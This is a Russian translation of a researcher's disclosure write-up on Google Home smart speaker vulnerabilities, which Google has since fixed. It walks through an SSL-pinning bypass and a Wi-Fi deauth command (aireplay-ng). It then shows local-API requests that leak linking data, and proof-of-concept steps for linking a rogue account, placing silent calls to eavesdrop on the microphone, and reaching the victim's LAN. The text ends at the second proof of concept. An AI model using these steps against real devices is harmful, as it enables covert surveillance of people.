Недавно компания Google выплатила мне награду в $107500 за ответственное раскрытие проблем безопасности в умной колонке Google Home. Эти уязвимости позволяли нападающему, находящемуся в пределах беспроводного доступа, создать на устройстве бэкдор-аккаунт и удалённо отправлять команды через Интернет, получать доступ к микрофону и выполнять произвольные HTTP-запросы в локальной сети жертвы (что потенциально позволит нападающему узнать пароль Wi-Fi или получить прямой доступ к другим устройствам жертвы). Все эти проблемы были устранены.
(Примечание: я тестировал всё на Google Home Mini, но предполагаю, что такие атаки аналогичным образом работают и с другими моделями умных колонок Google)
Расследование
Я экспериментировал с Google Home и обратил внимание, насколько просто добавлять новых пользователей через приложение Google Home. Также я заметил, что привязка аккаунта к устройству даёт удивительно высокую степень контроля над ним.
В частности, функция «routines» позволяет быстро выполнять последовательности команд (например routine «доброе утро», выполняет команды «выключить свет» и «рассказать о погоде»). Через приложение Google Home можно настроить автоматический запуск routine в устройстве в определённые дни и в определённое время. По сути, routine позволяют любому человеку, аккаунт которого привязан к устройству, удалённо отправлять на него команды. Кроме удалённого управления привязанный аккаунт позволяет устанавливать на устройство «действия» (крошечные приложения).
Когда я понял, какую степень доступа даёт привязанный аккаунт, то решил изучить процесс привязки и определить, насколько легко привязать аккаунт с точки зрения нападающего.
Так с чего же начать? Существует множество разных способов реверс-инжиниринга IoT-устройств, в том числе:
- Получение прошивки устройства дампом или скачиванием с веб-сайта производителя.
- Статический анализ приложения, взаимодействующего с устройством (в данном случае это Android-приложение Google Home), например, его декомпиляция с помощью Apktool или JADX.
- Динамический анализ приложения во время его исполнения, например, при помощи Frida, перехватывающей методы Java и выводящей информацию о внутреннем состоянии.
- Перехват коммуникаций между приложением и устройством (или между приложением/устройством и серверами производителя) с помощью атаки «man-in-the-middle» (MITM).
В случае Google Home получить прошивку очень сложно, потому что на печатной плате устройства нет контактов для отладки, и единственный способ считывания флэш-памяти заключается во выпаивании чипа NAND. Кроме того, Google не публикует образы прошивок для скачивания. Впрочем, на DEFCON продемонстрировали, что это возможно (см. ниже).
При реверс-инжиниринге мне нравится по возможности начинать с атаки MITM, потому что обычно это самый простой способ разобраться, как работает устройство. Типичные IoT-устройства для общения со своими приложениями используют протоколы наподобие HTTP или Bluetooth. HTTP легко прослушать при помощи инструментов вроде mitmproxy. Я люблю mitmproxy, потому что это свободное ПО, оно имеет UI на основе терминала и предоставляет удобный Python API.
Так как у Google Home нет собственного дисплея или UI, большинство параметров контролируется через приложение Google Home. Немного погуглив, я выяснил, что люди уже начали документировать локальный HTTP API для взаимодействия с Google Home. Устройства Google Cast (в том числе Google Home и Chromecast) объявляют о себе в локальной сети при помощи mDNS, поэтому для их обнаружения можно использовать
dns-sd
:$ dns-sd -B _googlecast._tcp
Browsing for _googlecast._tcp
DATE: ---Fri 05 Aug 2022---
15:30:15.526 ...STARTING...
Timestamp A/R Flags if Domain Service Type Instance Name
15:30:15.527 Add 3 6 local. _googlecast._tcp. Chromecast-997113e3cc9fce38d8284cee20de6435
15:30:15.527 Add 3 6 local. _googlecast._tcp. Google-Nest-Hub-d5d194c9b7a0255571045cbf615f7ffb
15:30:15.527 Add 3 6 local. _googlecast._tcp. Google-Home-Mini-f09088353752a2e56bddbb2a27ec377a
Можно использовать
nmap
, чтобы найти порт, на котором работает локальный HTTP API:$ nmap 192.168.86.29
Starting Nmap 7.91 ( https://nmap.org ) at 2022-08-05 15:41
Nmap scan report for google-home-mini.lan (192.168.86.29)
Host is up (0.0075s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
8008/tcp open http
8009/tcp open ajp13
8443/tcp open https-alt
9000/tcp open cslistener
10001/tcp open scp-config
Мы видим HTTP-серверы на портах 8008 и 8443. Согласно неофициальной документации, ссылку на которую я привёл выше, от поддержки 8008 отказались и теперь работает только 8443. Другие порты используются для различных функций Chromecast, а неофициальная документация частично доступна в Интернете.
Давайте попробуем отправить запрос:
$ curl -s --insecure https://192.168.86.29:8443/setup/eureka_info?params=settings
{"settings":{"closed_caption":{},"control_notifications":1,"country_code":"US","locale":"en-US","network_standby":0,"system_sound_effects":true,"time_format":1,"timezone":"America/Chicago","wake_on_cast":1}}
(Мы используем
--insecure
, потому что устройство отправляет самостоятельно подписанный сертификат, которому доверяет приложение Google Home, но мой компьютер не доверяет)Отлично, мы получили параметры устройства. Однако в документации говорится, что большинству конечных точек API требуется
cast-local-authorization-token
. Давайте попробуем что-то более интересное, например, перезагрузить устройство:$ curl -i --insecure -X POST -H 'Content-Type: application/json' -d '{"params":"now"}' https://192.168.86.29:8443/setup/reboot
HTTP/1.1 401 Unauthorized
Access-Control-Allow-Headers:Content-Type
Cache-Control:no-cache
Content-Length:0
Оно отклоняет запрос, потому что мы не авторизованы. Как же получить токен? В документации написано, что можно или извлечь его из папки приватных данных приложения Google Home (если на телефоне есть root), или использовать скрипт, который получает на входе имя пользователя и пароль Google, вызывает API, после чего приложение Google Home использует его для получения токена, а затем возвращает токен. Однако для обоих этих способов нужно, чтобы у нас имелся уже связанный с устройством аккаунт, поэтому я решил разобраться, как вообще выполняется привязка. Предположительно, этот токен используется, чтобы нападающий (или зловредное приложение) в локальной сети не получил доступа к устройству. То есть, для привязки аккаунта и получения токена нужно что-то большее, чем простой доступ к локальной сети? Я поискал в документации, но не нашёл упоминаний привязки аккаунтов, поэтому продолжил свое исследование.
Подготавливаем прокси
Для перехвата незашифрованного HTTP-трафика при помощи mitmproxy в Android достаточно запустить прокси-сервер, а затем сконфигурировать телефон (или только нужное приложение) так, чтобы весь трафик перенаправлялся на прокси. Однако в неофициальной документации по локальному API говорится, что Google недавно начала использовать HTTPS. Кроме того, я хотел перехватывать трафик не только между приложением и устройством Google Home, но и между приложением и серверами Google (который точно передавался по HTTPS). Я подумал, что поскольку при процессе привязки задействовались аккаунты Google, часть процесса может происходит на сервере Google, а не в устройстве.
Перехватывать HTTPS-трафик в Android сложнее, но обычно не намного. Кроме настройки параметров прокси необходимо также сделать так, чтобы приложение доверяло корневому сертификату CA mitmproxy. Новые CA можно устранавливать через настройки Android, но, к сожалению, начиная с Android 7 приложения, использующие предоставляемые системой сетевые API, больше автоматические не доверяют CA добавляемым пользователями. Если у вас есть Android-телефон с рутом, то можно напрямую изменить системное хранилище CA (расположенное в
/system/etc/security/cacerts
). Или же можно вручную пропатчить конкретное приложение. Однако иногда даже этого недостаточно, потому что некоторые приложения используют «SSL pinning», чтобы гарантировать, что используемый для SSL сертификат совпадает с тем, который они ожидают. Если приложение использует предоставленные системой pinning API (javax.net.ssl
) или популярную HTTP-библиотеку (например, OkHttp), то это не так сложно обойти — достаточно перехватывать соответствующие методы при помощи Frida или Xposed. Хотя и Xposed, и полной версии Frida требуется рут, Frida Gadget можно использовать без рута. Если приложение использует собственный механизм пиннинга, то вам придётся выполнить его реверс-инжиринг и вручную пропатчить приложение.Пропатчить и заново упаковать приложение Google Home невозможно, потому что оно использует Google Play Services OAuth API (то есть APK должен подписываться Google, в противном случае он будет вылетать), поэтому для перехвата его трафика необходим рут-доступ. Так как я не хотел получать рут на своём основном телефоне, а эмуляторы обычно неудобны, то я решил использовать завалявшийся у меня старый телефон. Я получил на нём рут при помощи Magisk и модифицировал системное хранилище CA, добавив в него CA mitmproxy, но этого было недостаточно, поскольку, как оказалось, в приложении Google Home используется SSL pinning. Чтобы обойти pinning, я воспользовался скриптом Frida, который нашёл на GitHub.
Теперь я мог просматривать в mitmproxy весь зашифрованный трафик:
Перехватывался даже трафик между приложением и устройством. Здорово!
Следим за процессом привязки
Итак, давайте понаблюдаем, что происходит, когда новый пользователь привязывает свой аккаунт к устройству. Мой аккаунт Google уже был привязан, поэтому я создал новый аккаунт для «нападающего». Когда я открыл приложение Google Home и вошёл под новым аккаунтом (убедившись, что я подключён к той же сети Wi-Fi, что и устройство), устройство появилось в разделе «Other devices». Когда я коснулся его, то увидел такой экран:
Я нажал кнопку, и устройство предложило для продолжения установить приложение Google Search. Предполагаю, что через это приложение выполняется настройка сопоставления голоса (Voice Match), но если я нападающий, то мне не нужно добавлять свой голос в устройство — я хочу только привязать свой аккаунт. Так можно ли привязать аккаунт без Voice Match? Я подумал, что это возможно, ведь первоначальная настройка устройства целиком выполнялась в приложении Home, и от меня не требовали включить Voice Match на основном аккаунте. Я уже был готов выполнить сброс к заводским настройкам и понаблюдать за первоначальной привязкой аккаунта, но потом кое-что понял.
Большая часть внутренней архитектуры Google Home схожа с устройствами Chromecast. Согласно докладу с DEFCON, в устройствах Google Home используется та же операционная система, что и в Chromecast (разновидность Linux). Локальный API тоже выглядит знакомым. На самом деле, имя пакета приложения Home заканчивается на
chromecast.app
, и раньше оно просто называлось Chromecast. В то время его единственная задача заключалась в настройке устройств Chromecast. Теперь оно отвечает за настройку и управление не только Chromecast, а всеми умными домашними устройствами Google.Поэтому почему бы нам не понаблюдать, как работает процесс привязки Chromecast, а затем не воспроизвести его с Google Home? Это будет проще, потому что Chromecast не поддерживают Voice Match (как и Google Assistant). К счастью, у меня под рукой было несколько Chromecast. Я подключил один из них и нашёл его в приложении Home:
Теперь мне оставалось только коснуться баннера «Enable voice control and more» и подтвердить, после чего мой аккаунт был привязан! Отлично, теперь посмотрим, что произошло на стороне сети:
Мы видим POST-запрос к конечной точке
/deviceuserlinksbatch
в clients3.google.com
:Это двоичная полезная нагрузка, но мы сразу же можем увидеть, что она содержит информацию об устройстве (например, имя устройства «Office TV»). Мы видим, что
content-type
является application/protobuf
. Protocol Buffers — это формат сериализации двоичных данных Google. Как и в JSON, данные хранятся в парах «ключ-значение». Клиент и сервер, обменивающиеся данными protobuf, имеют копию файла .proto
, определяющего имена полей и типы данных (например, uint32
, bool
, string
, etc). В процессе кодирования данные обрезаются и остаются лишь номера полей и wire type. К счастью, wire type практически напрямую транслируются обратно в исходные типы данных (обычно есть только незначительное количество вариантов того, какой исходный тип данных может основываться на wire type). Google предоставляет инструмент командной строки protoc
, позволяющий кодировать и декодировать данные protobuf. Опция --decode_raw
приказывает protoc
выполнять декодирование без файла .proto
, угадывая типы данных. Такого сырого декодирования обычно достаточно для того, чтобы понять структуру данных. Но если она кажется неправильной, то можно создать собственный файл .proto
со своими догадками о типах данных, попытаться декодировать их, и, если результат будет нелогичным, продолжать изменять файл .proto
до получения нужного результата.В нашем случае применение
--decode_raw
приводит к созданию идеально читаемого результата:$ protoc --decode_raw < deviceuserlinksbatch
1 {
1: "590C[...]"
2: "MIIDojCCAoqgAwIBAgIEVcQZjzANBgkqhkiG9w0BAQUFADB5MQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNTW91bnRhaW4gVmlldzETMBEGA1UECgwKR29vZ2xlIEluYzENMAsGA1UECwwEQ2FzdDEZMBcGA1UEAwwQQ2hyb21lY2FzdCBJQ0EgMzAeFw0xNTA4MDcwMjM1NTlaFw0zNTA4MDIwMjM1NTlaMHwxEzARBgNVBAoMCkdvb2dsZSBJbmMxDTALBgNVBAsMBENhc3QxFjAUBgNVBAcMDU1vdW50YWluIFZpZXcxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApDYWxpZm9ybmlhMRwwGgYDVQQDDBMzVzM3OTkgRkE4RkNBMzJDRjBEMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAleog/oEXK6PKyGHDIYcDwT2Xl8GLOFuhxQh/K+dTahxex9+4mLAXx5v2s75Iwv9jcXEpD5NTvjNXx20B0/rfpYORHbcm3UEwFWGnP5uvKIyLar+rC7Az5ZPzPXMx7xX6Br68/gOXMGJd17OG/m0rduBZNjmasBb7+Zu8jS38cv+N3S7yTobJbagrHxIufa7gX+rO2f3/jF2EutgcA4lIm5r/2J34fkYTMXnxElJCUv/b1COuk0FZTei4mooJ+TvcQE2ljgHOSvzGnZuT+QWch8TyRjIjKuIK4dB1UIcSvmQoq9PTbfzWCTcW1fREdPtnta6pyWIzmoJ9+3AhVnWAhwIDAQABoy8wLTAJBgNVHRMEAjAAMAsGA1UdDwQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDAjANBgkqhkiG9w0BAQUFAAOCAQEAv11SILN9BfcUthEFq/0NJYnNIFoza21T1BR9qYymFKtUGOplFav00drHziTzUUCNUzbLGnR/yKXxXYlgUOlscEIHxN0+11tvWslHQk7Xgz2RUerBXy9l+vSwp87F8YVECny8lMFZi0T6hHUvtuM6O9qovQKS6ORx3GmZKlNOsNspPnF8IVpN+KtIiopL6vf84iCpbx+dQoOfUOZsbZ+XSxwT34yeNFXqdAIFwP1maMmPZZYnQrDYyUdyowYzk48fDG2QDhFf7dLjtCngcQ83MWWU5nx9On67hnj2VeFGKWsner4cwjs0+iVafUGiWD0tZejVXHSrR7TBouqOf9eG6Q=="
6: "Office TV"
7: "b"
8: 0
9 {
1: 1
2: 0
}
10: 2
12: 0
}
Похоже, что полезная нагрузка запроса привязки состоит из трёх элементов: имени устройства, сертификата и «Cloud ID». Я сразу же узнал эти значения из предыдущих запросов локального API
/setup/eureka_info
. То есть, похоже, что процесс привязки заключается в следующем:- Получаем информацию об устройстве через его локальный API.
- Отправляем запрос привязки с этой информацией серверу Google.
Я хотел использовать mitmproxy для повторной отправки модифицированной версии запроса, заменив информацию Chromecast на информацию Google Home. Потом мне захотелось создать файл
.proto
, чтобы можно было использовать protoc --encode
для создания запросов привязок с нуля, но на этом этапе я просто хотел быстро протестировать, сработает ли это. Выяснилось, что можно заменять любые строки в двоичной полезной нагрузке, не вызывая никаких проблем, при условии, что они имеют одинаковую длину. cloud ID и cert имели одинаковую длину, однако длина имени («Office speaker») отличалась, поэтому я переименовал устройство в приложении Home, чтобы длина совпадала. Затем я отправил модифицированный запрос, и всё сработало. Параметры Google Home были разблокированы в приложении Home. В mitmproxy я видел, что вместе с запросами локального API передавался локальный токен аутентификации устройства.Воссоздаём реализацию на Python
Далее я решил воссоздать реализацию процесса привязки в скрипте на Python, чтобы мне больше не приходилось возиться с приложением Home.
Чтобы получить требуемую информацию об устройстве, просто нужно было отправить следующий запрос:
GET https://[Google Home IP]:8443/setup/eureka_info?params=name,device_info,sign
Воссоздать сам запрос привязки было немного сложнее. Сначала я изучил упомянутый в неофициальной документации API скрипт, вызывающий cloud API Google. В нём используется библиотека gpsoauth, которая реализует на Python поток логина Google в Android. По сути, она превращает имя пользователя и пароль Google в токены OAuth, которые можно использовать для вызова незадокументированных Google API. Она используется некоторыми неофициальными Python-клиентами сервисов Google, например, gkeepapi для Google Keep.
Я воспользовался mitmproxy и gpsoauth, чтобы разобраться в запросе привязки и его воссоздании. Он выглядит так:
POST https://clients3.google.com/cast/orchestration/deviceuserlinksbatch?rt=b
Authorization: Bearer [токен из gpsoauth]
[...неинтересные заголовки, добавленные приложением Home...]
Content-Type: application/protobuf
[описанная выше полезная нагрузка protobuf с информацией об устройстве]
Для создания полезной нагрузки protobuf я написал простой файл
.proto
для запроса привязки, чтобы можно было использовать protoc --encode
. Я дал известным мне полям понятные имена (например, device_name
), а неизвестным полям назначил обобщённые имена:syntax = "proto2";
message LinkDevicePayload {
message Payload {
message Data {
required uint32 i1 = 1;
required uint32 i2 = 2;
}
required string device_id = 1;
required string device_cert = 2;
required string device_name = 6;
required string s7 = 7;
required uint32 i8 = 8;
required Data d = 9;
required uint32 i10 = 10;
required uint32 i12 = 12;
}
required Payload p = 1;
}
В качестве первого теста я использовал этот
.proto
для кодирования сообщения с теми же значениями, которые я перехватил из приложения Home, и убедился, что двоичный результат получился таким же.В итоге у меня получился скрипт на Python, получающий на входе учётные данные Google и IP-адрес, и использующий их для привязки аккаунта к устройству Google Home по указанному IP-адресу.
Дальнейшее исследование
Написав скрипт на Python, я должен был начать думать с точки зрения нападающего. Какой уровень контроля над устройством даёт нам привязанный аккаунт и каковы потенциальные сценарии атак? Сначала я нацелился на функцию routines, позволяющую удалённо выполнять в устройстве голосовые команды. Проведя изучение предыдущих атак на устройства Google Home, я нашёл атаку «Light Commands», которая дала мне понимание того, какие команды может использовать нападающий:
- управление умными домашними выключателями;
- открывание умных дверей гаража;
- совершение онлайн-покупок;
- удалённая разблокировка и запуск некоторых автомобилей;
- открывание умных замков скрытным брутфорсом PIN-кода пользователя.
Я хотел пойти глубже и придумать атаку, которая бы работала на всех устройствах Google Home, вне зависимости от наличия у пользователя других умных устройств. Я попытался придумать способ применения голосовой команды для активации микрофона и слива данных. Возможно, мне удастся использовать голосовые команды для загрузки в устройство приложения, включающего микрофон? После изучения документации «conversational actions» стало понятно, что можно создать приложение для Google Home, а затем вызывать его на привязанном устройстве при помощи команды «talk to my test app». Однако возможности таких «приложений» довольно ограничены. Они не имеют доступа к сырому звуку с микрофона, а получают только транскрипцию сказанного пользователем. Они даже не выполняются на самом устройстве: серверы Google общаются с приложением через веб-хуки от лица устройства. Более любопытными показались мне «действия умного дома», но их я исследовал уже позже.
Внезапно меня озарило: эти устройства поддерживают команду "call [номер телефона]". По сути, можно использовать эту команду, чтобы приказать устройству отправлять данные со своего микрофона на какой-нибудь произвольный телефонный номер.
Создаём зловредные routine
Интерфейс для создания routine в приложении Google Home выглядит так:
При помощи mitmproxy я узнал, что на самом деле это просто WebView, встраивающий веб-сайт
https://assistant.google.com/settings/routines
, который загружает обычный веб-браузер (если вы залогинены в аккаунт Google). Это немного упростило реверс-инжиниринг.Я создал routine для выполнения команды «call [мой номер телефона]» по средам в 20:26 (тогда была среда, 20:25). Для routine, выполняемых автоматически в определённое время, необходимо указать «устройство для звука» (устройство, в котором будет выполняться routine). Его можно выбрать из списка устройств, привязанных к вашему аккаунту:
Минутой позже routine выполнилась в Google Home и позвонила на мой телефон. Я принял вызов и прослушал, как говорю в микрофон Google Home. Отлично!
(Позже, изучая сетевые запросы, я обнаружил, что можно указать не только час и минуту активации routine, но и точную секунду, поэтому мне достаточно было подождать до активации routine не примерно минуту, а всего несколько секунд.)
Сценарий атаки
У меня было ощущение, что Google не намеревалась так легко предоставлять удалённый доступ к сигналу микрофона в Google Home. Я быстренько придумал сценарий атаки:
Нападающий хочет пошпионить за жертвой.
- Жертва устанавливает зловредное Android-приложение нападающего.
- Приложение обнаруживает Google Home в сети при помощи mDNS.
- Приложение использует полученный автоматически обычный доступ по локальной сети для тайной отправки двух HTTP-запросов, необходимых для привязки аккаунта нападающего к устройству жертвы (никаких специальных разрешений не требуется).
Теперь нападающий может шпионить за жертвой через Google Home.
Но для этого всё равно требуется социальный инжиниринг и взаимодействие с пользователем, что неидеально с точки зрения нападающего. Можно ли сделать атаку более удобной?
С более абстрактной точки зрения суммарная информация об устройстве (name, cert и cloud ID) используется как «пароль», дающий удалённый контроль над устройством. Устройство раскрывает этот пароль через локальную сеть при помощи локального API. Есть ли у нападающего другие способы доступа к локальному API?
В 2019 году известность получил CastHack: обнаружилось, что тысячи устройств Google Cast (в том числе Google Home) были видны из публичного Интернета. Поначалу считалось, что проблема вызвана тем, что устройства использовали UPnP для автоматического открытия портов маршрутизатора, связанных с воспроизведением (8008, 8009 и 8443). Однако оказалось, что устройства Cast используют UPnP только для локального обнаружения, а не для перенаправления портов. Поэтому причиной, вероятно, была широко распространённая ошибочная сетевая конфигурация (возможно, как-то связанная с UPnP).
Обнаружившие CastHack люди не осознавали истинного уровня доступа, предоставляемого локальным API (в сочетании с cloud API):
Что с помощью этого могут сделать хакеры?
Удалённо воспроизводить медиа на вашем устройстве, переименовывать его, сбрасывать до заводских настроек или перезапускать устройство, вынудить его забыть все сети WiFi, вынудить связаться с новой Bluetooth-колонкой/точкой WiFi, и так далее.
(Всё это конечные точки локального API, уже задокументированные сообществом. Это было ещё до того, как локальный API начал требовать токена аутентификации)
Чего хакеры НЕ могут сделать с этим?
Если считать, что Chromecast/Google Home — это ваша единственная проблема, то хакеры НЕ МОГУТ получать доступ к другим устройствам в сети или отслеживать информацию вне пределов WIFI-точек и Bluetooth-устройств. Также они не имеют доступа к вашему личному аккаунту Google и к микрофону Google Home.
Существуют сервисы наподобие Shodan, позволяющие сканировать Интернет в поисках открытых портов и уязвимых устройств. При помощи простых поисковых запросов мне удалось найти сотни устройств Cast с открытым портом 8443 (локальный API). Я не исследовал этот вопрос долго, потому что в конечном итоге плохую конфигурацию маршрутизатора Google исправить не в состоянии.
Однако когда я читал про CastHack, то обнаружил датированные ещё 2014 годом (!) статьи о RickMote — разработанном исследователем безопасности Bishop Fox Дэном Петро proof of concept, захватывающем ближайшие Chromecast и воспроизводящем «Never Gonna Give You Up» с YouTube. Петро обнаружил, что когда Chromecast теряет соединение с Интернетом, то переходит в «режим настройки» и создаёт собственную открытую сеть Wi-Fi. Изначально она предназначается для того, чтобы позволить владельцу устройства подключиться к этой сети из приложения Google Home и сбросить параметры Wi-Fi (например, в случае смены пароля). RickMote пользуется этим поведением.
Оказалось, что обычно очень просто заставить близкие устройства отключиться от их сети Wi-Fi: достаточно отправить на целевое устройство набор пакетов «deauth». WPA2 обеспечивает сильное шифрование фреймов данных (если выбран хороший пароль). Однако «управляющие» фреймы, например, фреймы деаутентификации (приказывающие клиентам отсоединиться) не зашифрованы. 802.11w и WPA3 поддерживают зашифрованные управляющие фреймы, однако в Google Home Mini поддержки ни того, ни другого нет (см. примечание в конце статьи). (Но даже если бы она была, для их работы их должен был бы поддерживать и маршрутизатор, а из-за потенциальных проблем с совместимостью в домашних маршрутизаторах потребительского уровня это сейчас редкость. Кроме того, даже если бы их поддерживали и устройство, и маршрутизатор, у нападающего всё равно есть другие способы нарушить работу вашего Wi-Fi. Всегда доступен вариант простого глушения канала, хотя для этого и требуется специализированное нелегальное оборудование. В конечном итоге, Wi-Fi — это плохой выбор для устройств, которые постоянно должны быть подключены к Интернету.)
Я захотел проверить, по-прежнему ли используется это поведение «режима настройки» в Google Home. Установив
aircrack-ng
, я применил следующую команду для атаки deauth:aireplay-ng --deauth 0 -a [router BSSID] -c [device MAC address] [interface]
Устройство Google Home мгновенно отключилось от сети и создало собственную:
Я подключился к сети и использовал
netstat
, чтобы получить IP маршрутизатора (маршрутизатором был Google Home), и увидел, что он назначил себе адрес 192.168.255.249
. Я отправил запрос к локальному API, чтобы проверить, работает ли он:$ curl -s --insecure https://192.168.255.249:8443/setup/eureka_info?params=name,device_info,sign | python3 -m json.tool
{
"device_info": {
[...]
"cloud_device_id": "590C[...]",
[...]
},
"name": "Office speaker",
"sign": {
"certificate": "-----BEGIN CERTIFICATE-----\nMIID[...]\n-----END CERTIFICATE-----\n",
[...]
}
}
Потрясающе! Он работал! Благодаря этой информации можно было привязать аккаунт к устройству и удалённо контролировать его.
Ещё более классный сценарий атаки
Нападающий хочет пошпионить за жертвой. Нападающий может подобраться к области беспроводного действия Google Home (но у него НЕТ пароля от Wi-Fi жертвы).
- Нападающий обнаруживает Google Home жертвы, прослушивая MAC-адреса с префиксами, связанными с Google Inc. (например,
E4:F0:42
).- Нападающий отправляет пакеты deauth для отключения устройства от его сети и заставляет перейти в режим настройки.
- Нападающий подключается к сети настройки устройства и запрашивает информацию устройства.
- Нападающий подключается к Интернету и использует полученную информацию об устройстве для привязки своего аккаунта к устройству жертвы.
Теперь нападающий может шпионить за жертвой по Интернету через Google Home. Больше нет необходимости находиться поблизости от устройства.
Что ещё мы можем сделать?
Очевидно, что привязанный аккаунт даёт огромную степень контроля над устройством. Мне захотелось узнать, может ли нападающий сделать что-нибудь ещё. Мы будем учитывать нападающих, ещё не находящихся в сети жертвы. Возможно ли взаимодействовать с другими устройствами жертвы (а, может быть, и атаковать их) через скомпрометированный Google Home? Мы уже знаем, что при помощи привязанного аккаунта можно:
- получать локальный токен аутентификации и менять параметры устройства через локальный API;
- удалённо исполнять команды в устройстве при помощи routine;
- устанавливать «действия» (action), то есть что-то типа приложений в песочнице.
Выше мы изучали "Conversational Actions" и выяснили, что они слишком ограничены песочницей, чтобы быть полезными для нападающего. Но есть и другой тип действия: "Smart Home Actions". Производители устройств (например, Philips) могут использовать их для добавления поддержки своих устройств на платформе Google Home (например, когда пользователь говорит «включи свет», лампочки Philips Hue получат команду «включиться»).
Особенно интересным при чтении документации мне показался Local Home SDK. Smart Home Actions используются только для запуска через Интернет (как и Conversational Actions), но недавно (в апреле 2020 года) Google добавила поддержку их локального выполнения для снижения задержек.
SDK позволяет написать на TypeScript или JavaScript локальное приложение, содержащее бизнес-логику умного дома. Устройства Google Home или Google Nest могут загружать и исполнять приложение внутри устройства. Приложение напрямую общается с умными устройствами по Wi-Fi в локальной сети, выполняя команды пользователя по имеющимся протоколам.
Звучит многообещающе. Я изучил, как это работает, и выяснил, что эти локальные домашние приложения не имеют прямого доступа к локальной сети. Невозможно просто подключиться к любому IP-адресу; вместо этого нужно задать «конфигурацию сканирования» при помощи вещания по mDNS, UPnP или UDP. Google Home сканирует сеть от лица пользователя и при нахождении любого подходящего устройства возвращает объект JavaScript, позволяющий приложению взаимодействовать с устройством по TCP/UDP/HTTP.
Можно ли это обойти? Я заметил, что в документации что-то говорится об отладке при помощи Chrome DevTools. Оказалось, что когда локальное домашнее приложение запущено в тестовом режиме (развёрнуто в собственном аккаунте разработчика), Google Home открывает порт 9222 для Chrome DevTools Protocol (CDP). Доступ по CDP обеспечивает полный контроль над экземпляром Chrome. Например, можно открывать или закрывать вкладки и перехватывать сетевые запросы. Это заставило меня задуматься: возможно, я смогу создать такую конфигурацию сканирования, которая приказывает Google Home сканировать в поисках себя, чтобы можно было подключиться к CDP, получить контроль над запущенным в устройстве экземпляром Chrome и использовать его для создания произвольных запросов в локальной сети.
При помощи привязанного аккаунта я создал локальное домашнее приложение и настроил конфигурацию сканирования на поиск mDNS-сервиса
_googlecast._tcp.local
. Перезагрузил устройство, после чего приложение загрузилось автоматически. Оно быстро обнаружило себя и я мог отправлять HTTP-запросы к localhost
!CDP использует WebSockets, доступные через стандартный JS API. Правило ограничения домена не применяется к WebSockets, поэтому мы можем запросто инициировать WebSocket как
localhost
из локального домашнего приложения (хостящегося на каком-нибудь публичном веб-сайте), если у нас будет нужный URL. Так как доступ по CDP может привести к тривиальному RCE в десктопной версии Chrome, адрес WebSocket при включенной отладке каждый раз генерируется случайным образом, чтобы предотвратить подключение случайных веб-сайтов. Адрес можно получить запросом GET к http://[CDP host]:9222/json
. Обычно он защищён правилом ограничения домена, поэтому мы не можем просто применить XHR-запрос, но поскольку у нас есть полный доступ к localhost
через Local Home SDK, можно использовать его для создания запроса. Получив адрес, мы можем использовать JS-конструктор WebSocket()
для подключения.Через CDP мы можем отправлять произвольные HTTP-запросы через локальную сеть жертвы, что позволяет атаковать другие устройства жертвы. Как говорится ниже, я также нашёл способ считывать и записывать произвольные файлы в устройстве при помощи CDP.
Proof of Concept
Описанные ниже PoC опубликованы здесь: https://github.com/DownrightNifty/gh_hack_PoC.
Так как проблемы с безопасностью были устранены, вероятно, всё это больше не работает, но я решил, что это стоит задокументировать и сохранить.
PoC 1: шпионим за жертвой
Я создал PoC, работающее в моём Android-телефоне (через Python в Termux), чтобы продемонстрировать, насколько быстрым и простым может быть процесс привязки аккаунта. Описанная ниже атака может быть выполнена в течение всего нескольких минут.
Для PoC я заново реализовал привязку к устройству и routines API на Python, а также создал следующие утилиты:
google_login.py
, link_device.py
, reset_volume.py
, call_device.py
.- Скачиваем protoc и добавляем его к PATH
- Устанавливаем необходимое:
pip3 install requests==2.23.0 gpsoauth httpx[http2]
- Создаём аккаунт Google «нападающего»
- Логинимся при помощи
python3 google_login.py
- Попадаем в область беспроводного действия Google Home
- Деаутентифицируем Google Home
- Для инъецирования сырых пакетов (требуемого для атак deauth) нужен телефон с рутом, и оно не будет работать на некоторых чипах Wi-Fi. В конечном итоге я использовал NodeMCU — крошечную макетную плату Wi-Fi, которая стоит на Amazon меньше $5, прошив её прошивкой deauther разработчика spacehuhn. Можно использовать его веб-UI для сканирования близких устройств и их деаутентификации. Устройство быстро нашло мой Google Home (производитель на основании префикса MAC-адреса имел в списке имя «Google»), и мне удалось деаутентифицировать его.
- Подключаемся к сети настройки Google Home (с именем
[device name].o
) - Выполняем
python3 link_device.py --setup_mode 192.168.255.249
, чтобы привязать аккаунт к устройству
- Чтобы сделать атаку максимально незаметной, кроме привязки аккаунта я включил в устройстве «ночной режим», снижающий максимальную громкость и яркость светодиодов. Так как на громкость музыки это не влияет, а снижение громкости почти полностью компенсируется, когда громкость выше 50%, это мелкое изменение жертва, скорее всего, не заметит. Однако при этом в случае 0% громкости голос Google Assistant становится полностью заглушается (поэтому при отключении ночного режима его всё равно едва будет слышно на 0% громкости).
- Останавливаем атаку деаутентификации и ждём, пока устройство снова подключится к Интернету
- Можно запустить
python3 reset_volume.py 4
, чтобы снизить громкость до 40% (потому что включение ночного режима снижает её до 0%).
- Можно запустить
- Теперь, когда аккаунт привязан, можно незаметно и в любое время заставить устройство звонить на телефонный номер по Интернету, что позволяет прослушивать сигнал микрофона.
- Чтобы совершить вызов, запускаем
python3 call_device.py [номер телефона]
. - Команды «set the volume to 0» и «call [номер]» выполняются в устройстве удалённо при помощи routine.
- Единственное, что может заметить жертва — постоянное свечение светодиода устройства синим цветом, но она может предположить, что это просто обновление прошивки или что-то подобное. На самом деле, на официальной странице поддержки со значениями цветов светодиода сказано только, что синий означает что «Your speaker needs to be verified by you», но ничего не сказано про звонки. Во время вызова светодиод не пульсирует, как это обычно бывает, когда устройство слушает пользователя, поэтому нет никаких признаков того, что включён микрофон.
- Чтобы совершить вызов, запускаем
Вот видео того, как выглядит удалённое инициирование звонка:
Как видите, нет никакого звукового уведомления о том, что выполняются команды, поэтому жертве сложно это заметить. По большей части жертва может продолжать обычным образом пользоваться устройством (однако некоторые команды, например, воспроизведение музыки, во время вызова работать не будут).
Proof of concept 2: делаем произвольные HTTP-запросы в сети жертвы
Как говорилось выше, нападающий может удалённо установить в привязанное устройство smart home action и использовать Local Home SDK для выполнения произвольных HTTP-запросов в локальной сети жертвы.
